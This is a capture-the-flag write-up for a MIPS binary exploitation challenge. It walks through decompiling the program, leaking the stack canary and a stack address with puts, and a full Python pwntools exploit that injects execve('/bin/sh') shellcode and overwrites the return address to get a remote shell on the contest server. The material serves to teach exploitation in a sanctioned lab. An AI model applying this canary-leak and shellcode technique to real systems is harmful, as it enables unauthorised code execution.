Shellcode injection on 32 bit MIPS binary.
Information
- category : pwn
- points : 216
Description
We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don’t use CISC architectures.
Let’s start learning another architecture today!
nc noriscnofuture.forfuture.fluxfingers.net 1338
Four files: README.txt, no_risc_no_future, qemu-mipsel-static, run.sh
Writeup
Let’see the readme’s content:
No Risc No Future
Running a program in a foreign architecture can feel like an arcane, hard to debug endeavor.
To help you get started, we list some handy commands to bootstrap a more familiar setup.
qemu-user allows exposing a gdb stub before running the binary. This can be connected to from gdb.
In a first shell, expose the stub:
./qemu-mipsel-static -g 1234 no_risc_no_future
In a second shell, connect to the waiting process:
gdb-multiarch -ex "break main" -ex "target remote localhost:1234" -ex "continue" ./no_risc_no_future
Now the process should break at main and you can debug the process.
Enjoy!
We need to check for what architecture the binary no_risc_no_future
is compiled.
$ file no_risc_no_future
no_risc_no_future: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
statically linked, for GNU/Linux 3.2.0,
not stripped
So we have a binary for MIPS at 32 bit.
Let’s run the program (I marked with #
the comments) :
$ ./qemu-mipsel-static no_risc_no_future
aa # input
aa # output
bbbbbbbbb # input
bbbbbbbbb # output
I # output
aaaaaaaaaaaaa # input
aaaaaaaaaaaaa # output
aaaa # input
aaaa # output
aaaaaaaa # output
aa # input
aa # output
a # output
aaaaaaaa # output
aa # input
aa # output
a # output
aaaaaaaa # output
aaaaaaaaaaaaaaaaaaaaa # input
aaaaaaaaaaaaaaaaaaaaa # output
aaaabbbbbbbbbbbbbbbbbb # input
aaaabbbbbbbbbbbbbbbbbb # output
b # input
b # output
aabbbbbbbbbbbbbbbbbb # output
b # input
b # output
aabbbbbbbbbbbbbbbbbb # output
Apparently the program reads from stdin 10 times and prints the input.
Analyzing the binary with ghidra we can decompile the main function:
undefined4 main(void)
{
int iStack80;
char buf [64];
int iStack12;
iStack12 = __stack_chk_guard;
iStack80 = 0;
while (iStack80 < 10) {
read(0,buf,0x100);
puts(buf);
iStack80 = iStack80 + 1;
}
if (iStack12 != __stack_chk_guard) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
As I deduced previously the main reads our input 10 times. We can also deduce
that the binary is protected with stack canaries
from the __stack_chk_fail()
function.
Let’s confirm the stack canaries hypothesis:
$ checksec no_risc_no_future
[*]
Arch: mips-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
And yes is using stack canaries.
Why reading 10 times and puts the input?
Well, puts
prints a sequence of chars ended with \x00
. We know that the stack
canaries in a 32 bit machine (At least in x86) are in the form of : \x00 + (byte_random) * 3
.
If we pass to the program for example 64 * "A" + "\n"
, the puts we’ll show us the
stack canaries. :D
Let’s write the exploit
#!/usr/bin/env python3
from pwn import process, context, log, remote, p32, u32
class Sender:
def __init__(self, conn, debug):
if conn != "run":
self.conn = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
# self.conn = remote('127.0.0.1', 1338)
else:
self.conn = process('./run.sh')
if debug == True:
context.log_level = 'debug'
def send(self, data):
self.conn.sendline(data)
# Stage 1 read stack cookies
# 1 Read cookie --> 64 byte,
snd = Sender('local', False)
snd.send('a' * 64)
snd.conn.recvline()
cookie = snd.conn.recvline().strip()
print("cookie : " + str(cookie))
assert len(cookie) == 3 # IF cookie is 32 bit and first byte is \x00
Run it:
$ ./exploit.py
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\xc2\x98\xc3'
Run another time to check that the stack canaries change every time:
./exploit.py
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\xcb\x15\x81'
Yes we are able to read the cookies.
We see that NX
is disabled so a shellcode injection is possible, however we
need a valid address that points to our shellcode on the stack.
Let’s see if on the stack there’s a valid address that we can leak, so let’s
debug the binary with gdb.
In one terminal :
$ ./qemu-mipsel-static -g 4444 no_risc_no_future
And in another one:
gdb-multiarch -ex "break main" -ex "target remote localhost:4444" -ex "continue" -q ./no_risc_no_future
Reading symbols from ./no_risc_no_future...
(No debugging symbols found in ./no_risc_no_future)
Breakpoint 1 at 0x4005fc
Remote debugging using localhost:4444
0x00400350 in __start ()
Continuing.
Breakpoint 1, 0x004005fc in main ()
Let’s disassemble the main and set a breakpoint before the puts.
(gdb) disass main
Dump of assembler code for function main:
0x004005e0 <+0>: addiu sp,sp,-104
0x004005e4 <+4>: sw ra,100(sp)
0x004005e8 <+8>: sw s8,96(sp)
0x004005ec <+12>: move s8,sp
0x004005f0 <+16>: lui gp,0x4a
0x004005f4 <+20>: addiu gp,gp,-32000
0x004005f8 <+24>: sw gp,16(sp)
=> 0x004005fc <+28>: lw v0,-32712(gp)
0x00400600 <+32>: lw v0,0(v0)
0x00400604 <+36>: sw v0,92(s8)
0x00400608 <+40>: sw zero,24(s8)
0x0040060c <+44>: b 0x400660 <main+128>
0x00400610 <+48>: nop
0x00400614 <+52>: addiu v0,s8,28
0x00400618 <+56>: li a2,256
0x0040061c <+60>: move a1,v0
0x00400620 <+64>: move a0,zero
0x00400624 <+68>: lw v0,-32620(gp)
0x00400628 <+72>: move t9,v0
0x0040062c <+76>: bal 0x41d2c0 <__read>
0x00400630 <+80>: nop
0x00400634 <+84>: lw gp,16(s8)
0x00400638 <+88>: addiu v0,s8,28
0x0040063c <+92>: move a0,v0
0x00400640 <+96>: lw v0,-32616(gp)
0x00400644 <+100>: move t9,v0
0x00400648 <+104>: bal 0x408f70 <puts>
...
(gdb) b *0x00400648
Breakpoint 2 at 0x400648
(gdb) c
Now write 63 * “A” on the executing terminal and check the stack using gdb:
We can see that our buffer starts in 0x7ffff0f0
, and there’s an address on the
stack which points to 0x7ffff140
, so 80 bytes higher.
Now we need to leak this address, because it changes every time if the server is using ASLR, but even if it’s not using ASLR the stack space on the server might be a little bit different. Because I wanted to confirm that the addresses marked in light blue don’t change every time, I leaked them too. As far as I can tell those are data and code addresses, and because we have PIE disabled they should be the same at every execution.
# Stage 2
# 2 Read next --> 72 byte
snd.send('a' * 72)
snd.conn.recvline()
val2 = snd.conn.recvline().strip()
print("val2 : " + str(val2))
# 3 Read next --> 92 byte
snd.send('a' * 92)
snd.conn.recvline()
val3 = snd.conn.recvline().strip()
print("val3 : " + str(val3))
# 4 Read next --> 97 byte
snd.send('a' * 99)
snd.conn.recvline()
val4 = snd.conn.recvline().strip()
print("val4 : " + str(val4))
# 5 stack address...
snd.send('a' * 103)
snd.conn.recvline()
val5 = snd.conn.recvline().strip()[:4]
print("val5 : " + str(val5))
Output:
./exploit.py
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\x95k\xe9'
val2 : b'\x08@'
val3 : b'\x83I'
val4 : b'\xa8\x08@'
val5 : b'0\xfd\xff\x7f'
In fact the leaked address which points in the stack is a bit different on the
server, while the other addresses val2, val3, val4
are the same as mine, as
I deduced.
Now we need to understand where the return address is located on the stack.
In MIPS there’s no instruction called ret
, instead the return value is stored
on the register ra
.
Let’s check the disassembler of the last instructions using gdb :
0x0040069c <+188>: lw ra,100(sp)
0x004006a0 <+192>: lw s8,96(sp)
0x004006a4 <+196>: addiu sp,sp,104
0x004006a8 <+200>: jr ra
0x004006ac <+204>: nop
(gdb) b *0x0040069c
Breakpoint 2 at 0x40069c
(gdb) c
Continuing.
Breakpoint 2, 0x0040069c in main ()
(gdb) x/30xw $sp
0x7ffff0d8: 0x00498300 0x7ffff204 0x7ffff382 0x004002d4
0x7ffff0e8: 0x00498300 0x0041fb68 0x0000000a 0x41410a61
0x7ffff0f8: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff108: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff118: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff128: 0x41414141 0x41414141 0x0a414141 0x71b32100
0x7ffff138: 0x00000000 0x004008e8 0x00000000 0x00000000
0x7ffff148: 0x00000000 0x00000000
According to the man of the instruction lw
, in ra
is stored the value in memory
of $sp + 100 = 0x004008e8
.
Now we need to overwrite this value with a valid return address on the stack.
From the leaked address (val5
) we can substract 80
and obtain the starting
address of our buffer.
There are various shellcode on shell-storm,
this is the only that
worked.
The other ones didn’t work, maybe for the cache coherency
problem
described in this paper.
Exploit
#!/usr/bin/env python3
from pwn import process, context, log, remote, p32, u32
class Sender:
def __init__(self, conn, debug):
if conn != "run":
self.conn = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
# self.conn = remote('127.0.0.1', 1338)
else:
self.conn = process('./run.sh')
if debug == True:
context.log_level = 'debug'
def send(self, data):
self.conn.sendline(data)
# Stage 1 read stack cookies
# 1 Read cookie --> 64 byte,
snd = Sender('local', True)
snd.send('a' * 64)
snd.conn.recvline()
cookie = snd.conn.recvline().strip()
print("cookie : " + str(cookie))
assert len(cookie) == 3 # IF cookie is 32 bit and first byte is \x00
# Stage 2
# 2 Read next --> 72 byte
snd.send('a' * 72)
snd.conn.recvline()
val2 = snd.conn.recvline().strip()
print("val2 : " + str(val2))
# 3 Read next --> 92 byte
snd.send('a' * 92)
snd.conn.recvline()
val3 = snd.conn.recvline().strip()
print("val3 : " + str(val3))
# 4 Read next --> 97 byte
snd.send('a' * 99)
snd.conn.recvline()
val4 = snd.conn.recvline().strip()
print("val4 : " + str(val4))
# 5 stack address...
snd.send('a' * 103)
snd.conn.recvline()
val5 = snd.conn.recvline().strip()[:4]
print("val5 : " + str(val5))
shellcode = b'\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff' \
+ b'\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01' \
+ b'\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff' \
+ b'\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh'
payload = shellcode + b'\x00' * (64-len(shellcode))
payload += b'\x00' + cookie
payload += b'\x00' * 4
payload += p32(u32(val5) - 80) # Unpack and pack
with open("out.txt", "wb") as f:
f.write(payload)
for i in range(0, 5):
snd.send(payload)
snd.conn.recvline()
snd.conn.interactive()
Launch the exploit:
Flag
flag{indeed_there_will_be_no_future_without_risc}